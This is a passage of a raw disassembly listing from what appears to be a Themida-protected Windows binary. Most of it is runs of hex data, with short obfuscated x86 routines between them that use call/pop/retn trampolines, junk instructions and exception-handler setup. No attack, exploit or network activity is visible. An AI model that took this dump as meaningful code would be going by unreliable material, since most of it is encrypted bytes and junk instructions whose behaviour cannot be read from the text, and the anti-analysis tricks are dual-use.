dd 66600000h, 631DB81h, 4718589h, 896107E4h, 0E41E8D85h
dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h
dd 0C3524200h, 0C3420220h, 0E8EE8A7Bh, 560h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0C7C35141h, 7C8C66Ah
dd 446DA8B8h, 9D29606Bh, 7E4093Dh, 68B0Fh, 0BD230000h
dd 7E42AA5h, 91858961h, 8907E422h, 0E4009D85h, 2DB50107h
dd 0E807E427h, 510h, 811AB966h, 1D5D8589h, 830F07E4h, 5
dd 4DAC4EBFh, 4F6E80Ah, 95290000h, 7E42AEDh, 2BF18589h
dd 0BE907E4h, 9F000000h, 0F191216Dh, 990C497Eh, 0D5E83C31h
dd 6A000004h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 18042444h, 47000000h, 8677C357h, 0E948896Bh, 0Fh, 8169C1C7h
dd 0BECB9293h, 8099DD5Ah, 89D7F634h, 0E4063585h, 53006A07h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 0CC8A7923h, 6860FC5h, 8B000000h, 0E405798Dh, 0FAB70F07h
dd 467E8h, 0C98D8B00h, 8907E421h, 0E40E1585h, 13E907h
dd 0C5610000h, 7144C325h, 80A7FEC9h, 0F014CF32h, 75DEFB95h
dd 2900B00Dh, 0E4014595h, 0D8B60F07h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 19h, 15C35343h, 7D69B573h, 0B2BE6641h
dd 6BA49h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1D0424h, 52420000h, 9B8F2EC3h, 5800F6F7h, 66BDAAE4h
dd 8B1AC1BEh, 0AE8C3h, 6CE10000h, 207A87CCh, 0EB251DE8h
dd 0C15EF78Bh, 6A04E8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1A0424h, 57470000h, 0CCB5ECC3h, 27CF5B1Eh, 0E058D89h
dd 0F76607E4h, 53006AE2h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1904h, 0C3534300h, 20E41E7Fh, 58B12F32h
dd 6AD82Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
dd 55450000h, 54E1DDC3h, 0FB40F795h, 0B150539Bh, 241C89D9h
dd 0D2C98166h, 9195FF7Dh, 3107E42Dh, 0E4158D95h, 6A5B07h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
dd 0E60903C3h, 0BD89A678h, 7E42FF5h, 1C0D958Dh, 6A07E4h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
dd 2B1CCCC3h, 8936A1D6h, 0BD01501Ah, 7E422BDh, 442895Fh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 54C35646h
dd 87F8CB84h, 8B6625D6h, 49958DF0h, 6A07E403h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
dd 8E34C352h, 89FCF17Fh, 0E43315BDh, 6A1A8907h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
dd 375C357h, 68D0FCEh, 1000000h, 0E42D59B5h, 4428907h
dd 8EE98166h, 0C5958DEFh, 6A07E425h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0A524C357h
dd 1A893D3Eh, 89F98B66h, 6A0442h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 160424h, 56460000h, 0DBE790C3h, 95BD8B56h
dd 5907E420h, 30498D2Bh, 958D07E4h, 7E42179h, 2A79B58Bh
dd 1A8907E4h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ch, 5BC35646h, 3C4DE441h, 0F5A263AEh, 2899529h, 428907E4h
dd 3DBD8904h, 0E907E424h, 0Dh, 0ECDBEE1Fh, 3D39D7B8h, 0EA714778h
dd 0D958D9Fh, 8B07E424h, 0E42B39BDh, 6A1A8907h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
dd 5AEFC355h, 79798034h, 5DBD0190h, 8907E42Bh, 6A0442h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
dd 45F6E2C3h, 518D8902h, 8B07E433h, 0E41E01BDh, 0C800F07h
dd 0F000000h, 689h, 0ADBD8B00h, 8D07E42Ah, 0E40F2995h
dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h
dd 0C3564600h, 958921C4h, 7E40F19h, 0F1FCD7B9h, 6A1A893Ah
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h
dd 41000000h, 471AC351h, 186A7943h, 2365BD8Bh, 428907E4h
dd 57006A04h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h
dd 0C3574700h, 0D18166D9h, 958D4D95h, 7E403F1h, 25ED8529h
dd 1A8907E4h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 16h, 40C35646h, 6650D8FEh, 895EF88Bh, 6A0442h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h
dd 55450000h, 631886C3h, 0DC4C2564h, 8529A8FDh, 7E414FDh
dd 0AD958Dh, 6A07E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1D0424h, 57470000h, 0E72D8CC3h, 0A14473EEh, 57027214h
dd 0A1D9D89h, 895F07E4h, 50006A1Ah, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1504h, 0C3504000h, 4289718Dh, 0A7C18104h
dd 0E97AE6A2h, 0D3h, 0D6BF0F60h, 61CFB70Fh, 6A006Ah, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
dd 4A351C3h, 0E19B58Bh, 800F07E4h, 6, 1915B509h, 6A07E4h
dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
dd 52420000h, 0E9A4D1C3h, 6, 9B9F84E8h, 0CE96627h, 96000000h
dd 191AB31Dh, 1AB4C3D5h, 6AA97B74h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0D124E793h
dd 0FF272987h, 0E40E6D95h, 53006A07h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 5C6DF03Ch
dd 318D09F9h, 0C307E42Ch, 6E9h, 91CA5700h, 8A69A364h, 6DBEC5h
dd 0C08B282Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 14h, 0CCC35747h, 83FBB70Fh, 0E413F1BDh, 9750007h, 935BD83h
dd 740007E4h, 8B535019h, 438B8C0h, 85890000h, 7E40EEDh
dd 0EA579D8Dh, 0D3FF07E6h, 0BD83585Bh, 7E40935h, 50177400h
dd 438B853h, 85890000h, 7E40EEDh, 0E6F89D8Dh, 0D3FF07E6h
dd 68B5585Bh, 11E9h, 0E3B72D00h, 0AA785AEBh, 73ABE989h
dd 5D4089F3h, 6ABF26h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 180424h, 55450000h, 20A224C3h, 0F28B6200h
db 8Bh, 0C0h
word_5C9EE6 dw 858Dh ; DATA XREF: Themida_:00583810o
dd 7E40D85h, 32F5BD03h, 0BD8907E4h, 7E42EF1h, 6E850h, 1A280000h
dd 184E9C00h, 2404895Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ch, 6AC35545h, 70B58835h, 42058EDAh, 25CDBD8Bh
dd 6A07E4h, 38C0Fh, 0D7800000h, 8B006A72h, 0E421759Dh
dd 33858D07h, 2907E87Ch, 0E40BA995h, 5C08307h, 0E8B0Fh
dd 1600000h, 0E421A18Dh, 4DBD0107h, 6107E42Bh, 8B665090h
dd 6A90F9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
dd 55450000h, 72E251C3h, 68C0FF0h, 89000000h, 0E42F75BDh
dd 33006A07h, 0E40EE19Dh, 6A006A07h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0FF0DC352h
dd 0E4247195h, 51006A07h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1804h, 0C3514100h, 42CE39F6h, 0F98B6617h
dd 0D64B8D8Dh, 0B58907E7h, 7E4046Dh, 6AD1FFh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 140424h, 52420000h, 8D29D4C3h
dd 7E41945h, 2015BD83h, 0F0107E4h, 9985h, 899D0900h, 6A07E408h
dd 57006A02h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h
dd 0C3574700h, 19D8938h, 6607E430h, 0CDC2DB81h, 0BE990h
dd 0BA4F0000h, 7D5B543Fh, 0ED3A33CBh, 6E950BFh, 19000000h
dd 795630D2h, 6A9007h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 190424h, 56460000h, 4E3A7AC3h, 0FFB61A4Eh, 0E431AD95h
dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h
dd 0C3524200h, 448706B9h, 167DBD33h, 0FFE907E4h, 0E800000Dh
dd 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 7E87C3Dh
push 0
push ebx
call sub_5CA0DA
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CA0DA proc near ; CODE XREF: Themida_:005CA0D2p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 17h
inc ebx
push ebx
retn
sub_5CA0DA endp
; ---------------------------------------------------------------------------
dw 0BC94h
db 96h ;
db 94h ;
db 0E9h ; ι
db 0Fh
db 0
db 0
db 0
db 0F2h
dd 0AB80F677h, 7E0C58D8h, 0CBB8403Eh, 6AE1ACh, 3E851h
dd 59200000h
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_5CA10D proc near
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
push ecx
retn
sub_5CA10D endp
; ---------------------------------------------------------------------------
popa
mov cl, 0C5h
jnz short loc_5CA164
mov ebx, [ebp+7E415D9h]
lea eax, [ebp+7E7C6E1h]
push 0
push ecx
call sub_5CA139
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CA139 proc near ; CODE XREF: Themida_:005CA131p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ch
inc ecx
push ecx
retn
sub_5CA139 endp
; ---------------------------------------------------------------------------
db 2, 18h, 5Fh
dd 40A3EDD6h, 6650B477h, 489F98Bh, 50006A24h, 3E8h, 0C3582000h
; ---------------------------------------------------------------------------
loc_5CA164: ; CODE XREF: Themida_:005CA120j
pop eax
mov [esp+4], eax
add dword ptr [esp+4], 15h
inc eax
push eax
retn
; ---------------------------------------------------------------------------
fadd dword ptr [esi-41h]
xor eax, 6443930Bh
push large dword ptr ds:0
mov [ebp+7E405BDh], ebx
mov edi, [ebp+7E42245h]
mov large fs:0, esp
jmp loc_5CA1AB
; ---------------------------------------------------------------------------
dw 367Ch
dd 6D834331h, 4C73D6BDh, 8B5FA332h
db 0ECh, 88h, 42h
; ---------------------------------------------------------------------------
loc_5CA1AB: ; CODE XREF: Themida_:005CA195j
inc dword ptr [ebp+7E420B9h]
sub [ebp+7E41C85h], edi
push 0FFFFFFFFh
jz loc_5CA1C1
mov bl, 5Dh
loc_5CA1C1: ; CODE XREF: Themida_:005CA1B9j
push dword ptr [ebp+7E40A59h]
push 0
push ecx
call sub_5CA1D2
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CA1D2 proc near ; CODE XREF: Themida_:005CA1CAp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ah
inc ecx
push ecx
retn
sub_5CA1D2 endp
; ---------------------------------------------------------------------------
dw 88D5h
dd 15606CD5h, 0C080605Ah, 68D0F2Bh, 0F000000h, 82h, 95FF6100h
dd 7E4304Dh, 149E9h, 518D3100h, 0B007E422h, 9E800h, 731E0000h
dd 70186DF4h, 0FC6D2527h, 8170E65Fh, 2A35E4D7h, 6671E47Dh
dd 613CDF8Bh, 11C830Fh, 0BD230000h, 7E40745h, 8BC8B60Fh
dd 0E40E61BDh, 0CDBD8907h, 0BA07E425h, 6, 2B5D8529h, 0C18B07E4h
dd 0A95D8DBBh, 4E8C13Dh, 3CDBF66h, 0FE2F766h, 0C82BFBBFh
dd 8E8h, 0FFEA5100h, 66C989CAh, 5FD88B4Ah, 5753D18Bh, 5BFE8B66h
dd 29B5895Bh, 0E907E402h, 20h, 31B99D89h, 0FE807E4h, 79000000h
dd 1933E23h, 1E6E764Bh, 0D2965205h, 57BB27F7h, 5F226D59h
dd 1C0D858Bh, 9D8B07E4h, 7E403DDh, 6E8h, 74AEC700h, 0E971642Fh
dd 0Dh, 4703BC4Fh, 0B77EB792h, 0C01BF07Ah, 0C0835F81h
dd 2D8D0107h, 8307E427h, 9D2B00C0h, 7E40191h, 830FD03Bh
dd 1Dh, 840Fh, 53E90000h, 0F000000h, 68Ch, 0E5EB8100h
dd 817BB0D7h, 7CC73CC7h, 858D8B3Fh, 0F07E423h, 289h, 83D0B300h
dd 840F01E1h, 2Ah, 2ABD9589h, 890F07E4h, 6, 1FCBCF81h
dd 0A5836F0Bh, 7E42385h, 8D9D09FEh, 8907E414h, 0E41C0D95h
dd 0E907h, 0B58D0000h, 7E80F99h, 8A0F6060h, 0
; ---------------------------------------------------------------------------
mov dh, bl
popa
and ch, 2Fh
popa
push 0
jmp loc_5CA374
; ---------------------------------------------------------------------------
dw 0D1B1h
dd 0F936D48Ah, 0CB608250h
; ---------------------------------------------------------------------------
loc_5CA374: ; CODE XREF: Themida_:005CA365j
call dword ptr [ebp+7E40E41h]
push 0
push esi
call sub_5CA385
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CA385 proc near ; CODE XREF: Themida_:005CA37Dp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_5CA385 endp
; ---------------------------------------------------------------------------
db 3Eh, 60h, 8Bh
dd 0E38166DAh, 0B961D947h, 6FAh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ah, 0C3C35040h, 0CC6F5DABh, 8B0F4538h
dd 6, 35858D89h, 0E18307E4h, 51006AFCh, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1404h, 0C3514100h, 0D98B66D0h
dd 50006AFCh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h
dd 0C3504000h, 0B8E524h, 8B000000h, 0E40035BDh, 0FD22B07h
dd 33ADDEBFh, 3E8D1C2h, 4E983D0h, 13E9F475h, 0E000000h
dd 5DD68F33h, 0A416FAECh, 6B7A28C1h, 1039D00Dh, 0DA8BCBFBh
dd 880Dh, 31953100h, 8B07E40Eh, 0E41B7195h, 89B58907h
dd 8B07E423h, 0E42DA18Dh, 52006A07h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 2FBC9BC6h
dd 0C4FA4AFCh, 880FFFB8h, 14h, 0BE8h, 98305400h, 7927340Fh
dd 0F1C57586h, 5B93D780h, 8BC28B50h, 8BC10318h, 0D1C18B18h
dd 8BC203E8h, 800F5818h, 4, 0AE26BB66h, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 1Bh, 0CEC35040h, 5B43C9CCh
dd 0B3DF36B2h, 11BD835Ah, 7E406h, 19840Fh, 0B80000h, 89000000h
dd 0E415B19Dh, 0E78D8D07h, 8B07E44Fh, 0E405259Dh, 83E1FF07h
dd 0E422B9BDh, 840F0007h, 4F4h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 16h, 0E9C35646h, 81667FACh, 831A62CBh
dd 0E422B9BDh, 840F0107h, 4DFh, 0BD83DF8Bh, 7E422B9h, 9A860F03h
dd 6A000004h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 19042444h, 45000000h, 0E02CC355h, 9161F2E4h, 99D3360h
dd 0E807E41Bh, 7, 0E6F37AE0h, 660DD3B2h, 6159F28Bh, 55006A60h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
dd 813814B7h, 441499CBh, 0D88B6637h, 6AD98C66h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
dd 664BC350h, 92F7E781h, 6A04E180h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0A26C356h
dd 8D840FC9h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 11FC355h, 0C8B9595Fh
dd 858BD88Bh, 7E40651h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ch, 29C35343h, 77DCFE5Ch, 0DDE58530h, 0AE9h
dd 96231100h, 86F476A1h, 3307AD9Ah, 0E4202985h, 0E7EF8107h
dword_5CA668 dd 504A1EE0h, 489F98Ah, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh
; DATA XREF: Themida_:0059E3B4o
dd 24448104h, 1A04h, 0C3554500h, 9A9D24F3h, 9576C92h, 0E41A11B5h
dd 6AF807h, 2175BD89h, 0E95207E4h, 9, 6AD8FD4Ch, 9BA0E1F1h
dd 0B3685BC6h, 0F2E640Fh, 148Fh, 0FE900h, 0ECE40000h, 0DD7C1913h
dd 228F3F1Bh, 14ADA95Ah, 2434819Eh, 2E7B0C4Ch, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0B6C35141h, 0B11571B8h
dd 36D48AD1h, 0FF98B66h, 95FFFAB7h, 7E42D99h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 83C35242h, 1836D5CAh
dd 548A5133h, 8E8h, 0BB96AD00h, 0B8182578h, 28B0FF3h, 53000000h
dd 85895F5Fh, 7E7F8A5h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ch, 38C35646h, 0A68A7B7Fh, 8C24F49Ch, 1BAE9h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h
dd 0C3564600h, 0F582437Ah, 0F89D858Bh, 958907E7h, 7E41925h
dd 1800C7h, 0BD8B0000h, 7E42501h, 0F8A1B58Bh, 9D8907E7h
dd 7E41B35h, 2D45BD03h, 858B07E4h, 7E40099h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 48C35040h, 4FB320ABh
dd 0F7E9A31h, 68Ah, 41BD8B00h, 8907E419h, 53006A06h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
dd 0B3303502h, 0BE9E5B5Fh, 9DB589h, 0DA8B07E4h, 651858Bh
dd 8D0907E4h, 7E41449h, 6A044689h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 16042444h, 40000000h, 5A0BC350h
dd 96509618h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ah, 1C35242h, 9F77E13Eh, 0B5FFD294h, 7E7F89Dh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0CDC35040h, 12E31071h
dd 7C686DCCh, 0B3B968C0h, 24048159h, 46B64383h, 0A5858DF8h
dd 6A07E7F8h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 18042444h, 46000000h, 0B897C356h, 0BB556C58h, 5DE31ECAh
dd 50DF8B90h, 3513BF66h, 50006A90h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1B04h, 0C3504000h, 0CF886F59h, 0E6BF9E6Ah
dd 0FFFE8B66h, 0E42D9995h, 55006A07h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 8D31D38Dh
dd 7E40705h, 61C2DB80h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 15h, 64C35040h, 0FB8B66A5h, 209AF4BBh, 0B985C734h
dd 307E422h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 18042444h, 46000000h, 0F7D2C356h, 60CF0227h
dd 66D9D89h, 0B70F07E4h, 0BD8361D6h, 7E7F8A5h, 5E840F00h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 17042444h, 41000000h, 1988C351h, 0BD293FCBh, 7E40A75h
dd 4FE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1904h, 0C3574700h, 0E2554949h, 7E81D8Eh, 0EA000000h
dd 4C9D8E62h, 0BD0BFDB4h, 7E41481h, 0C30505Fh, 11440011h
dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h
dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h
dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
dd 83110430h, 0E77504E9h, 0C08B00EBh, 89D4EB80h, 0E4228D8Dh
dd 0B9BD8307h, 307E422h, 435850Fh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 236BFC3h
dd 14DF0888h, 19B19D89h, 0BF6607E4h, 0BD832925h, 7E7F8A5h
dd 0FC840F00h, 6A000003h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 14042444h, 43000000h, 8B28C353h, 0E41B2D9Dh
dd 0A5B5FF07h, 0E807E7F8h, 11h, 0A2EFDCD6h, 0BC805189h
dd 0E13FAD42h, 7540B26h, 0EF8166C4h, 0FF5FAEABh, 0E4044D95h
dd 41BD8907h, 8B07E41Bh, 0E7F899B5h, 106C707h, 33000100h
dd 0E415219Dh, 8E0F9607h, 2, 8B5014B7h, 6A96FBh, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
dd 12AF5BC3h, 0A659D03h, 0B5FF07E4h, 7E7F8A5h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0D0C35141h, 7E95281h
dd 0B7000000h, 920399DEh, 0FF5BBA1Bh, 0E42A0995h, 51006A07h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 0BB66387Ah, 0B58B2038h, 7E7F899h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 17h, 0CCC35343h, 0E9104A72h, 9
dd 0A230DE7Ch, 0F9C712F4h, 0C7816617h, 858BB915h, 7E43165h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 85C35141h
dd 958B60A0h, 7E41B0Dh, 64D9509h, 896107E4h, 0C486h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 4728A48Fh, 958B35A1h, 7E41B71h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Dh, 28C35545h, 0CC8B7F08h, 510994h
dd 79B5896Dh, 0F807E400h, 0F04C283h, 88h, 20508900h, 68A0Fh
dd 95890000h, 7E41B8Dh, 0CD4858Dh, 952907E8h, 7E42FA9h
dd 86896CB3h, 0B8h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ah, 0A9C35040h, 338349EFh, 8D89C452h, 7E413A1h
dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
dd 53430000h, 44347EC3h, 0B0C1DC10h, 1619D8Bh, 0B5FF07E4h
dd 7E7F8A5h, 0A858D89h, 8B6607E4h, 0AD95FFDEh, 8907E431h
dd 0E4128585h, 8B665007h, 243489DEh, 2C31BD8Bh, 0B5FF07E4h
dd 7E7F8A5h, 0F28B6660h, 19D5BD31h, 816107E4h, 6AAECAEBh
dd 1195FF6Dh, 8307E41Bh, 0E40DF9BDh, 840F0007h, 54h, 0DDB58B60h
dd 2B07E41Dh, 0E42EC595h, 89506107h, 8B602434h, 0E41E59B5h
dd 0AE807h, 0F03B0000h, 0C7359352h, 0F253C812h, 10E9h
dd 0EEA37300h, 30E71FD7h, 0AE31BB95h, 8DED703Eh, 0E9615943h
dd 10h, 9BAB312Eh, 8DB13963h, 0C23803DFh, 465E381Fh, 0F8A5B5FFh
dd 0F38007E7h, 7D95FF1Eh, 6607E402h, 8783D381h, 0CD9BBF66h
dd 0F8A5B5FFh, 6A07E7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1D0424h, 57470000h, 7CA65C3h, 0CF4C7EAAh, 0E853F20Eh
dd 0Dh, 2E5CF9AAh, 0C005740Ch, 1E3E94CBh, 0B0C38115h, 5B326B02h
dd 205210BFh, 7195FF1Eh, 6A07E409h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 8E30C356h
dd 9D896003h, 7E40BA5h, 61C2B70Fh, 0A21BD83h, 0F0207E4h
dd 6284h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1804h, 0C3514100h, 0FCD986D5h, 7ABB564Ch, 5F1DAEFEh
dd 25CD9D89h, 858B07E4h, 7E41EB5h, 0C6F9h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 9EC35747h, 0AEC94166h
dd 0BCBFB4C6h, 0E5958993h, 0C707E40Dh, 0E4267185h
dd 7, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1404h, 0C3564600h, 0FDBD8B92h, 0E907E40Dh, 0FFFFF323h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0DCC35040h
dd 9005C44Dh, 8BD98B66h, 0D59D8BC1h, 0F07E40Dh, 858DD9B7h
dd 7E40D85h, 89FE8B50h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1D0424h, 55450000h, 0A9965BC3h, 1E266F1h
dd 0BF4CF404h, 6A169323h, 0B70F006Ah, 0F006ADFh, 48Dh
dd 0D6BF6600h, 0B52957DEh, 7E41F11h, 858D5Fh, 6A07E88Ch
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h
dd 41000000h, 0CE0AC351h, 81C13FCDh, 0DF7DB4CFh, 2DCB810Ch
dd 0E964F2E5h, 0Fh, 4668FC15h, 8C7017AFh, 94BF1CA0h, 83B5A9B2h
dd 0C38105C0h, 5892188Eh, 9D9D0156h, 5B07E42Fh, 0BF525090h
dd 6F9214Dh, 585A310Fh, 90D88B50h, 0DEBF0F60h, 61DEB70Fh
dd 211DBD0Bh, 6A07E4h, 68B0Fh, 9D8B0000h, 7E402DDh, 9698D89h
dd 6A07E4h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 19h, 87C35141h, 0C788571Fh, 95FFF88Fh, 7E42471h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 6AC35141h, 4515AD50h
dd 286D446Fh, 9D9D23F6h, 8B07E424h, 4B8D8DFAh, 6A07E7D6h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h
dd 47000000h, 1C16C357h, 55302755h, 83D1FF93h, 0E42015BDh
dd 850F0107h, 63h, 1835BD2Bh, 26A07E4h, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 1Ch, 11C35242h, 5BD03FD6h
dd 0A6730C9h, 0F506090h, 86h, 8F0F5E00h, 6, 840Fh, 50610000h
dd 7E9h, 0BF81DD00h, 0DC005AA3h, 0D5BD0390h, 0FF07E425h
dd 0E431AD95h, 51B58907h, 0E907E430h, 0DA0h, 0E8h, 0ED815D00h
dd 7E88C0Ah, 66F78166h, 57006AFBh, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1404h, 0C3574700h, 0E1858DCFh, 0E907E7C6h
dd 0Bh, 0AEEFF8E3h, 3E54F40Ch, 8B55C2DEh, 0E425F99Dh, 52509007h
dd 2F6FC3BBh, 0E8310F3Bh, 0Bh, 1E549449h, 0C15B4853h, 600B0FB5h
dd 585A5B61h, 0BF525050h, 4025593Fh, 14E8310Fh, 0C4000000h
dd 0E780E25Fh, 3894BDCBh, 7DC86CFDh, 0BFCA8D2Ah, 0BF718B72h
dd 14D1B6FEh, 90585A5Fh, 35FF64h, 0F000000h, 38Ah, 0F8B70F00h
dd 258964h, 0FC000000h, 27B268BFh, 0B985FF01h, 8907E420h
dd 0E41C31BDh, 31BD8907h, 6A07E42Ch, 51006AFFh, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 4CE0845Bh
dd 7578EB89h, 0BD8B4D87h, 7E42285h, 226DBD03h, 0B5FF07E4h
dd 7E406A5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ah, 0D1C35747h, 82750553h, 7E89DD3h
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_5CB1B3: ; DATA XREF: Themida_:00583354o
test byte ptr [ebp-68503995h], 81h
mov bl, 0C7h
pop ebx
call dword ptr [ebp+7E4304Dh]
jmp loc_5CB2DA
; ---------------------------------------------------------------------------
dd 2DB589h, 0B007E4h, 42986ABFh, 0F70E632h, 71E4FEBFh
dd 6DB58B60h, 0E907E424h, 0Ah, 2399BE28h, 737B769Eh, 3C61C543h
dd 0DF830F61h, 0F000000h, 0BAF5C8B6h, 6, 8BF8BF0Fh, 11BD0BC1h
dd 0C107E416h, 0C4B304E8h, 8BE2F766h, 0E4198D9Dh, 0CE907h
